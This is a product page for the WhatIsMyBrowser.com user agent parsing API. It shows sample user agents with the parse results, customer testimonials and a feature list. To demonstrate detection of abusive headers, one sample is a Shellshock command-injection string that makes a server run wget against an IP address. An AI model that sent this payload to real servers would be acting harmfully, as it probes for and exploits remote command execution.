User Agent Parsing API

Identify the Browsers, Bots, Operating Systems,
and Devices that access your website

The most detailed and flexible user agent parser. With unique and helpful abilities.

Get started - it's free

Our user agent parser has the detail, precision, and ability to handle oddities in user agents that the other user agent parsers lack.

The API also tells you if your visitor's browser is out of date, as well as how common their user agent is. Here's a demonstration of how we decode various types of user agents:

Pick an example user agent from this list...

  • A very standard sort of user agent
    Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
  • We show device model numbers and names and Operating System code names
    Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; SM-T217S Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30
  • Let your visitors know their browser is out of date
    Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
  • We detect thousands of different bots and crawlers. Here's an example.
    Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  • We've got 35 different ways to spot fake or "weird" user agents
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0) AppleWebKit/511.22 (KHTML, like Gecko) Chrome/91.0.4324.190 Safari/511.22
  • Sanitize & fix messy user agents
    Mozilla/5.0%20(Windows%20NT%2010.0)%20AppleWebKit/537.36%20(KHTML,%20like%20Gecko)%20Chrome/86.0.4240.198%20Safari/537.36/DpRo4Du2-30/DpRo4Du2-30/DpRo4Du2-30
  • Identify dangerous user agents
    () { :;}; echo; /usr/bin/env wget http://198.51.100.23/vuln?http://example.com/ -O /dev/null;

    Each parse response also includes easy to use variants of the things we detected, so if you just need the Software name and number, just the major version number, or the entire version number, it's very easy to access it. You don't have to go splitting or combining strings; it's all just there in the response for you to access.

    We've got 35 ways to detect that a user agent is "weird" or fake. This example shows one of them - a user agent with contradictory fragments.
    is_weird true
    is_weird_reason_code has_contradictory_info
    is_restricted false
    is_spam false
    We have marked this user agent as being "weird" because it has contradictory information (It has MSIE/Trident fragments along side Chrome and Safari fragments - no "real" browser does that).
    We tell you the reason we think it's weird but still provide the parse information as best as is possible. How you handle requests to your site from this user agent is your decision.

    The user agent in this example has two problems that have been fixed by the sanitizer - the spaces were encoded as %20, and there was a "random" fragment after the Safari fragment which was repeated several times. This has been stripped out as well, and a cleaned user agent is returned in the user_agent_sanitized field.
    user_agent_sanitized Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
    We have got over 50 different types of fixes and approaches to sanitizing and unifying user agents. From fixing encoding and escaping issues, to removing random strings, GUIDs, time stamps and all the other strange things we've seen appear in user agents.
    This is very helpful if you're storing user agents in your own database - don't let it fill up with millions of "almost identical" user agents which have one strange fragment in them. Look for the user_agent_sanitized field in the response and store that instead.

    is_abusive true
    Did you know that there are a number of ways that user agents can be dangerous? We've observed millions of different attempts at SQL injection, Command Injection, server exploits, spam attacks, and more, via the user agent header. Sites which mishandle the user agent field can leave themselves vulnerable to compromise. The API identifies and warns about many different types of exploits via modified user agent headers.
    This example user agent looks dangerous (specifically, it looks like a "Shellshock" attempt).

What our customers are saying...

  • We launched an internal webapp five years ago and had recurring issues with people running default browsers on Android or out of date versions of Chrome. We needed to troubleshoot this faster and more automatically. We'd been directing people to whatismybrowser.com as part of the original process to read us back their browser details which was much more effective than straight up asking people what their browser / version as.

    After we found the API, we were able to automate an interaction which typically took us 20 minutes of back and forth and eliminate the issue entirely.

    It's been running seamlessly for five years and since then we haven't had to worry about a common scenario that used to crush our support staff in the early days.

    Tom - Haynes and Company

  • We use the WhatIsMyBrowser API to parse User Agents to determine browser compatibility with our product. It makes it easy to politely tell people that cio-pulse.com will not run on their Android-based TV ;) The WhatIsMyBrowser API is straightforward to use and does exactly what it says on the tin.

    Dave - CIO Pulse

  • We are a boutique eLearning development company and while most of our users do not experience issues, occasionally their browsers or settings cause us problems.

    To diagnose the issue and get it resolved quickly, we rely on WhatisMyBrower.com. Makes our job so easy. -- Thank you

    Randy (Founder)World Wide Learning Group

  • Brett and the crew at whatismybrowser.com worked really hard to deliver us a product in the user-friendly form of an Excel file. This Excel file allows members of our team who have no knowledge of programming languages, to query user-agent strings and utilise the whatismybrowser API.

    Extracting results and categorising our customers by the type of device they use has never been quicker!

    Also, Brett’s communication is A+

    Oliver – Roy Morgan Research

  • LUXE customers are a global bunch who use a wide range of devices. We adopted the whatismybrowser.com API to detect their system details, so we know exactly what they're using (and don't have to bother them with such trivial questions when they make contact).

    The API saved us heaps of development time, freeing us up to focus on the fun stuff!

  • The API accurately ensures all our customers meet the minimum browsers requirements for using VEDAMO Virtual Classroom. It was really easy to set up and the API responds quickly to our requests.

  • MoovTO is a URL shortening service that offers its users an informative dashboard and link usage analytics.
    The WhatIsMyBrowser.com API enables us to parse user-agents easily and enriches our dashboard with minimum development time.

  • The WhatIsMyBrowser API does what is expected at a low cost. At our e-commerce site we use the API to protect our data from web scrapers and search engines who put lots of stress on our huge database of appliances and parts.

    Their customer service is also just perfect, when we first heard of the WhatIsMyBrowser API we asked a question about their service and directly received a test subscription for 2 months for a paid plan. We would most certainly recommend their API to others.

  • We use the API to verify if customers are using a browser compatible with our application. The API helps to restrict and redirect customers to a browser that is compatible with our application. This saves us a lot of time and effort as it prevents unnecessary calls to our support team.

  • We use the API to find out more about the software our clients are using when they open our emails.

Features of the API

The whatismybrowser.com API contains a number of advanced features, helping you with your website visitors

Actively developed

As well as updating the User Agent Parsing library every day, we also spend a lot of time thinking about and improving the API itself.

We listen to your suggestions and feedback and happily incorporate your ideas into new features or options. It's where a number of our features actually came from! So if there's something that you'd like to see us offer, just let us know and we'll see what we can do.

Here to stay

But don't worry, as we add new features we won't pull the rug out from underneath you - if you're using a feature of the API you can rest assured it will always be there; we won't make your life harder by removing or changing things. For example, we deprecated version 1 of our API over four years ago, but it's still running for the handful of customers still using it.

Got questions? We'd love to answer them. Send us a message right now
